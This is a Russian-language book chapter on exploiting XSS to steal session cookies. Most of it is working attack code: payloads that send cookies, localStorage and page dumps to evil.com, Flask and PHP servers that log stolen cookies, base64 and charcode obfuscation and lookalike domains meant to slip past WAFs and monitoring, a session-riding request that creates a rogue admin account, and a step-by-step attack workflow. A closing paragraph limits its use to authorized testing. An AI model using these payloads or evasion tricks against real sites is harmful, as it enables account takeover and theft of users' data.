Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Cookie grabbing: классика жанра
Ты нашёл XSS. Ты подтвердил, что alert(1) вылетает. Поздравляю, теория закончилась - начинается работа. И первое, что должен уметь любой охотник, превращающий findings в реальный impact - это украсть session cookie жертвы. Cookie grabbing - это классика жанра не потому, что это устарело, а потому что это работает уже 20 лет и будет работать ещё 20, пока разработчики не научатся правильно ставить флаг HttpOnly.
Зачем воровать cookie
Session cookie - это цифровой паспорт пользователя. Если сайт использует классическую session-based авторизацию, украденный cookie позволяет тебе буквально стать этим пользователем: без пароля, без 2FA, без вопросов. Ты просто вставляешь чужой session ID в свой браузер - и вуаля, ты залогинен как жертва.
Это не теоретическая угроза. Захват admin-сессии через XSS в форме обратной связи - это прямой путь к полному захвату панели управления, кражи данных всех пользователей и, если повезёт, к RCE через админку .
document.cookie - твой главный инструмент
Всё начинается с одной строчки JavaScript:
document.cookie
Эта команда возвращает все cookies, доступные текущему JavaScript-контексту, в виде строки:
sessionid=a1b2c3d4e5f6; theme=dark; lang=ru; _ga=GA1.2.123456789
Обратите внимание: не все cookies тут будут. Если сервер выставил флаг HttpOnly для конкретного cookie, JavaScript его не увидит вообще. Это защита №1, о которой мы поговорим отдельно. Но пока считаем, что HttpOnly не установлен - золотой сценарий для атакующего.
Базовый payload для кражи
Самый простой способ утащить cookie - отправить его на свой сервер.
Через Image beacon
<script>
new Image().src='https://evil.com/steal?c='+document.cookie;
</script>
Почему Image(), а не fetch() или XMLHttpRequest? Потому что создание объекта Image и установка src - это классический трюк, который работает даже в самых древних браузерах и не блокируется большинством CSP-политик, если они настроены криво (без img-src).
Полный payload для инъекции:
<img src=x onerror="new Image().src='https://evil.com/steal?c='+document.cookie">
Или через SVG, как мы разбирали в главе про event handlers :
<svg onload="new Image().src='https://evil.com/steal?c='+document.cookie">
Через fetch API - современный подход
fetch('https://evil.com/steal', {
method: 'POST',
body: document.cookie
});Плюс fetch - можно отправлять POST-запросы с телом, что удобнее для больших объёмов данных и не светится в логах сервера так явно, как GET-параметр.
В контексте XSS:
<img src=x onerror="fetch('https://evil.com/steal',{method:'POST',body:document.cookie})">Через XMLHttpRequest - старая школа
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie), true);
xhr.send();
Работает во всех браузерах, включая совсем древние. Используй, если целишься в legacy-системы.
Сервер для приёма украденных cookies
Кража бессмысленна без места, куда её сложить. Тебе нужен простой сервер-логгер.
Минимальный Python/Flask сервер
from flask import Flask, request
import datetime
app = Flask(__name__)
@app.route('/steal', methods=['GET', 'POST'])
def steal():
timestamp = datetime.datetime.now()
cookie = request.args.get('c') or request.get_data(as_text=True)
ip = request.remote_addr
user_agent = request.headers.get('User-Agent')
with open('stolen_cookies.log', 'a') as f:
f.write(f"[{timestamp}] IP: {ip}\n")
f.write(f"UA: {user_agent}\n")
f.write(f"Cookie: {cookie}\n")
f.write("-" * 50 + "\n")
return "OK", 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443, ssl_context='adhoc')
Разверни на VPS с валидным доменом (свежий домен с https, чтобы не триггерить браузерные предупреждения о смешанном контенте, если целевой сайт на HTTPS).
PHP-вариант для дешёвого shared хостинга
<?php
$cookie = $_GET['c'] ?? $_POST['c'] ?? 'empty';
$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$log = date('Y-m-d H:i:s') . " | IP: $ip | UA: $ua | Cookie: $cookie\n";
file_put_contents('stolen.log', $log, FILE_APPEND);
?>
Закинул на любой бесплатный PHP-хостинг - готово.
Использование украденного cookie
Получил строку sessionid=a1b2c3d4e5f6? Время её применить.
Через DevTools браузера
- Открой целевой сайт в браузере
- F12 → Application → Cookies
- Найди нужный cookie (например,
sessionid) - Замени значение на украденное
- Обнови страницу - ты залогинен как жертва
Через расширение Cookie-Editor
Расширения типа "Cookie-Editor" или "EditThisCookie" позволяют делать это в один клик, без DevTools.
Через curl для API-тестирования
curl -H "Cookie: sessionid=a1b2c3d4e5f6" https://target.com/admin/dashboard
Если приложение стройно проверяет только session ID без дополнительных проверок (fingerprinting, IP-binding) - ты внутри.
Обфускация payload'а для обхода детекции
Прямая отправка document.cookie часто триггерит WAF или системы мониторинга. Применяй техники из главы 6 .
Base64-кодирование payload'а
<img src=x onerror="eval(atob('bmV3IEltYWdlKCkuc3JjPSdodHRwczovL2V2aWwuY29tL3N0ZWFsP2M9Jytkb2N1bWVudC5jb29raWU='))">Раскодируй сам payload перед вставкой:
btoa("new Image().src='https://evil.com/steal?c='+document.cookie")Через String.fromCharCode
<img src=x onerror="eval(String.fromCharCode(...[110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,115,58,47,47,101,118,105,108,46,99,111,109,47,115,116,101,97,108,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101]))">
Громоздко, но эффективно против сигнатурных фильтров.
Обфускация домена
Замаскируй свой evil-домен под легитимный сервис:
// Вместо evil.com используй похожий на CDN домен
new Image().src='https://cdn-analytics-service.com/collect?c='+document.cookie
Или используй сокращатели URL (bit.ly, tinyurl) - но осторожно, многие security-продукты их резолвят автоматически.
Продвинутые техники сбора данных
Не ограничивайся только session cookie. Собери максимум контекста для полноценной атаки.
Полный дамп для Blind XSS
<img src=x onerror="
var data = {
cookie: document.cookie,
url: location.href,
domain: document.domain,
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage),
html: document.documentElement.outerHTML.substring(0,5000)
};
fetch('https://evil.com/dump', {method:'POST', body: JSON.stringify(data)});
">
Это уже не просто кража cookie - это полный снапшот состояния страницы жертвы, что критично для отчётов при Blind XSS через XSS Hunter-подобные системы .
Кража LocalStorage и SessionStorage
Многие современные SPA-приложения (React, Vue, Angular) хранят токены не в cookie, а в LocalStorage:
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({
local: localStorage,
session: sessionStorage,
cookie: document.cookie
})
});Это особенно важно для JWT-based авторизации, где токен часто лежит именно в LocalStorage, а не в cookie.
HttpOnly - главный враг cookie grabbing
Флаг HttpOnly - это защита, которая делает cookie недоступным для JavaScript. Если сервер установил:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict
То команда document.cookie просто не вернёт этот cookie в списке. Твой прямой cookie grabbing не сработает.
Но не спеши сдаваться. Даже с HttpOnly, XSS остаётся крайне опасным, потому что ты всё равно можешь:
- Выполнять действия от имени пользователя через
fetch()(запросы автоматически несут cookie) - Читать данные со страницы через DOM
- Перехватывать формы и вводимые данные (кейлоггинг)
- Делать CSRF-подобные запросы, но уже с полным контролем над контекстом
Session Riding через fetch - обход HttpOnly
Даже без прямого доступа к cookie, ты можешь заставить браузер жертвы выполнить действие с её сессией:
fetch('/api/admin/create_user', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: 'hacker', role: 'admin', password: 'pwned123'})
});Параметр credentials: 'include' заставляет браузер автоматически приложить cookie к запросу, даже если ты не можешь их прочитать напрямую. Результат - то же самое захват аккаунта, но без необходимости кражи session ID.
Практический workflow кражи cookie
- Подготовь инфраструктуру: VPS с валидным SSL-сертификатом, простой logger-сервер
- Создай payload: Выбери метод (Image beacon, fetch, XHR) под конкретный контекст инъекции
- Проверь HttpOnly: Через DevTools или простой тестовый payload
alert(document.cookie)- если пусто, cookie защищён - Обфусцируй: Примени кодирование, если ожидаешь WAF на пути
- Доставь payload: Через reflected, stored или blind XSS в зависимости от найденной уязвимости
- Мониторь сервер: Жди callback'и, логируй все hits
- Используй украденное: Замени cookie в своём браузере, подтверди доступ
Этические и юридические границы
Важное напоминание: всё описанное выше - это техники для авторизованного тестирования (bug bounty программы, pentest с подписанным договором, собственные lab-окружения). Кража cookie на реальных пользователях без разрешения - это уголовное преступление в большинстве юрисдикций (несанкционированный доступ к компьютерной информации). Используй эти знания для получения легальных bug bounty наград и построения карьеры в security, а не для превращения в статистику по делам о киберпреступлениях.
Заключение
Cookie grabbing - это фундамент практической эксплуатации XSS, тот самый момент, когда alert(1) превращается в реальный захват аккаунта. Знание того, как правильно эксфильтровать данные, обойти HttpOnly через session riding и построить инфраструктуру для приёма callback'ов - это разница между "нашёл XSS" и "получил bounty за критическую уязвимость".
